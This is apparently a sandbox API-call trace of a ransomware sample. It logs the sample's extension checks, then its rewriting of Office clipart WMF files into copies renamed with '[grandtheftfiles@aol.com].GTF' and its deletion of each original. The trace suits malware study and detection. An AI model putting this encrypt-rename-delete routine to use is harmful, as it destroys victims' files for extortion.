	[0081.740] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.740] lstrlenW (lpString=".7z") returned 3
	[0081.740] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0081.740] lstrlenW (lpString=".dbf") returned 4
	[0081.741] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0081.741] lstrlenW (lpString=".1cd") returned 4
	[0081.741] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0081.741] lstrlenW (lpString=".jpg") returned 4
	[0081.741] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0081.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0081.741] lstrlenW (lpString=".doc") returned 4
	[0081.741] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.741] lstrlenW (lpString=".docx") returned 5
	[0081.741] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.741] lstrlenW (lpString=".pdf") returned 4
	[0081.741] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.741] lstrlenW (lpString=".xls") returned 4
	[0081.741] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.741] lstrlenW (lpString=".xlsx") returned 5
	[0081.741] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.741] lstrlenW (lpString=".ppt") returned 4
	[0081.741] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0081.741] lstrlenW (lpString=".zip") returned 4
	[0081.741] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.741] lstrlenW (lpString=".rar") returned 4
	[0081.741] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.741] lstrlenW (lpString=".bz2") returned 4
	[0081.741] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.741] lstrlenW (lpString=".7z") returned 3
	[0081.741] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0081.741] lstrlenW (lpString=".dbf") returned 4
	[0081.741] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0081.741] lstrlenW (lpString=".1cd") returned 4
	[0081.741] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0081.742] lstrlenW (lpString=".jpg") returned 4
	[0081.742] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.742] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0081.742] lstrlenW (lpString="AN04385_.WMF") returned 12
	[0081.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0081.742] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=5004) returned 1
	[0081.742] CloseHandle (hObject=0x384) returned 1
	[0081.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf")) returned 0x220
	[0081.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0081.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0081.742] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.743] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0081.743] GetLastError () returned 0x0
	[0081.743] ReadFile (in: hFile=0x384, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x138c, lpOverlapped=0x0) returned 1
	[0081.745] WriteFile (in: hFile=0x370, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x1390, lpOverlapped=0x0) returned 1
	[0081.746] ReadFile (in: hFile=0x384, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.746] WriteFile (in: hFile=0x370, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.746] SetEndOfFile (hFile=0x370) returned 1
	[0081.746] CloseHandle (hObject=0x370) returned 1
	[0081.747] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.747] SetEndOfFile (hFile=0x384) returned 1
	[0081.748] CloseHandle (hObject=0x384) returned 1
	[0081.748] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0081.748] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf")) returned 1
	[0081.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68
	[0081.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68
	[0081.748] lstrlenW (lpString=".doc") returned 4
	[0081.749] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.749] lstrlenW (lpString=".docx") returned 5
	[0081.749] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.749] lstrlenW (lpString=".pdf") returned 4
	[0081.749] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.749] lstrlenW (lpString=".xls") returned 4
	[0081.749] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.749] lstrlenW (lpString=".xlsx") returned 5
	[0081.749] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.749] lstrlenW (lpString=".ppt") returned 4
	[0081.749] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68
	[0081.749] lstrlenW (lpString=".zip") returned 4
	[0081.749] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.749] lstrlenW (lpString=".rar") returned 4
	[0081.749] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.749] lstrlenW (lpString=".bz2") returned 4
	[0081.749] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.749] lstrlenW (lpString=".7z") returned 3
	[0081.749] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68
	[0081.749] lstrlenW (lpString=".dbf") returned 4
	[0081.749] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68
	[0081.749] lstrlenW (lpString=".1cd") returned 4
	[0081.749] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68
	[0081.749] lstrlenW (lpString=".jpg") returned 4
	[0081.749] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68
	[0081.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68
	[0081.749] lstrlenW (lpString=".doc") returned 4
	[0081.749] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.749] lstrlenW (lpString=".docx") returned 5
	[0081.749] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.750] lstrlenW (lpString=".pdf") returned 4
	[0081.750] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.750] lstrlenW (lpString=".xls") returned 4
	[0081.750] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.750] lstrlenW (lpString=".xlsx") returned 5
	[0081.750] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.750] lstrlenW (lpString=".ppt") returned 4
	[0081.750] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68
	[0081.750] lstrlenW (lpString=".zip") returned 4
	[0081.750] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.750] lstrlenW (lpString=".rar") returned 4
	[0081.750] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.750] lstrlenW (lpString=".bz2") returned 4
	[0081.750] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.750] lstrlenW (lpString=".7z") returned 3
	[0081.750] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68
	[0081.750] lstrlenW (lpString=".dbf") returned 4
	[0081.750] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68
	[0081.750] lstrlenW (lpString=".1cd") returned 4
	[0081.750] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68
	[0081.750] lstrlenW (lpString=".jpg") returned 4
	[0081.750] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.750] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0081.750] lstrlenW (lpString="BD00116_.WMF") returned 12
	[0081.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0081.751] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=4870) returned 1
	[0081.751] CloseHandle (hObject=0x384) returned 1
	[0081.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf")) returned 0x220
	[0081.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0081.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0081.751] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.752] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0081.752] GetLastError () returned 0x0
	[0081.752] ReadFile (in: hFile=0x384, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x1306, lpOverlapped=0x0) returned 1
	[0081.755] WriteFile (in: hFile=0x370, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x1310, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x1310, lpOverlapped=0x0) returned 1
	[0081.756] ReadFile (in: hFile=0x384, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.756] WriteFile (in: hFile=0x370, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.756] SetEndOfFile (hFile=0x370) returned 1
	[0081.756] CloseHandle (hObject=0x370) returned 1
	[0081.759] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.759] SetEndOfFile (hFile=0x384) returned 1
	[0081.760] CloseHandle (hObject=0x384) returned 1
	[0081.760] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0081.760] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf")) returned 1
	[0081.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68
	[0081.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68
	[0081.760] lstrlenW (lpString=".doc") returned 4
	[0081.760] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.760] lstrlenW (lpString=".docx") returned 5
	[0081.760] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.760] lstrlenW (lpString=".pdf") returned 4
	[0081.761] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.761] lstrlenW (lpString=".xls") returned 4
	[0081.761] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.761] lstrlenW (lpString=".xlsx") returned 5
	[0081.761] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.761] lstrlenW (lpString=".ppt") returned 4
	[0081.761] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68
	[0081.761] lstrlenW (lpString=".zip") returned 4
	[0081.761] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.761] lstrlenW (lpString=".rar") returned 4
	[0081.761] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.761] lstrlenW (lpString=".bz2") returned 4
	[0081.761] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.761] lstrlenW (lpString=".7z") returned 3
	[0081.761] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68
	[0081.761] lstrlenW (lpString=".dbf") returned 4
	[0081.761] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68
	[0081.761] lstrlenW (lpString=".1cd") returned 4
	[0081.761] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68
	[0081.761] lstrlenW (lpString=".jpg") returned 4
	[0081.761] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68
	[0081.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68
	[0081.761] lstrlenW (lpString=".doc") returned 4
	[0081.761] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.761] lstrlenW (lpString=".docx") returned 5
	[0081.761] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.761] lstrlenW (lpString=".pdf") returned 4
	[0081.761] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.761] lstrlenW (lpString=".xls") returned 4
	[0081.761] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.761] lstrlenW (lpString=".xlsx") returned 5
	[0081.762] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.762] lstrlenW (lpString=".ppt") returned 4
	[0081.762] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68
	[0081.762] lstrlenW (lpString=".zip") returned 4
	[0081.762] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.762] lstrlenW (lpString=".rar") returned 4
	[0081.762] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.762] lstrlenW (lpString=".bz2") returned 4
	[0081.762] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.762] lstrlenW (lpString=".7z") returned 3
	[0081.762] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68
	[0081.762] lstrlenW (lpString=".dbf") returned 4
	[0081.762] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68
	[0081.762] lstrlenW (lpString=".1cd") returned 4
	[0081.762] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68
	[0081.762] lstrlenW (lpString=".jpg") returned 4
	[0081.762] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.762] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0081.762] lstrlenW (lpString="BD00141_.WMF") returned 12
	[0081.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0081.763] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=26886) returned 1
	[0081.763] CloseHandle (hObject=0x384) returned 1
	[0081.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf")) returned 0x220
	[0081.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0081.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0081.763] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.763] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0081.763] GetLastError () returned 0x0
	[0081.763] ReadFile (in: hFile=0x384, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x6906, lpOverlapped=0x0) returned 1
	[0081.766] WriteFile (in: hFile=0x370, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x6910, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x6910, lpOverlapped=0x0) returned 1
	[0081.767] ReadFile (in: hFile=0x384, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.767] WriteFile (in: hFile=0x370, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.768] SetEndOfFile (hFile=0x370) returned 1
	[0081.768] CloseHandle (hObject=0x370) returned 1
	[0081.769] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.769] SetEndOfFile (hFile=0x384) returned 1
	[0081.770] CloseHandle (hObject=0x384) returned 1
	[0081.770] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0081.771] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf")) returned 1
	[0081.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68
	[0081.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68
	[0081.771] lstrlenW (lpString=".doc") returned 4
	[0081.771] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.771] lstrlenW (lpString=".docx") returned 5
	[0081.771] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.771] lstrlenW (lpString=".pdf") returned 4
	[0081.771] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.771] lstrlenW (lpString=".xls") returned 4
	[0081.771] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.771] lstrlenW (lpString=".xlsx") returned 5
	[0081.771] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.771] lstrlenW (lpString=".ppt") returned 4
	[0081.771] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68
	[0081.771] lstrlenW (lpString=".zip") returned 4
	[0081.771] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.772] lstrlenW (lpString=".rar") returned 4
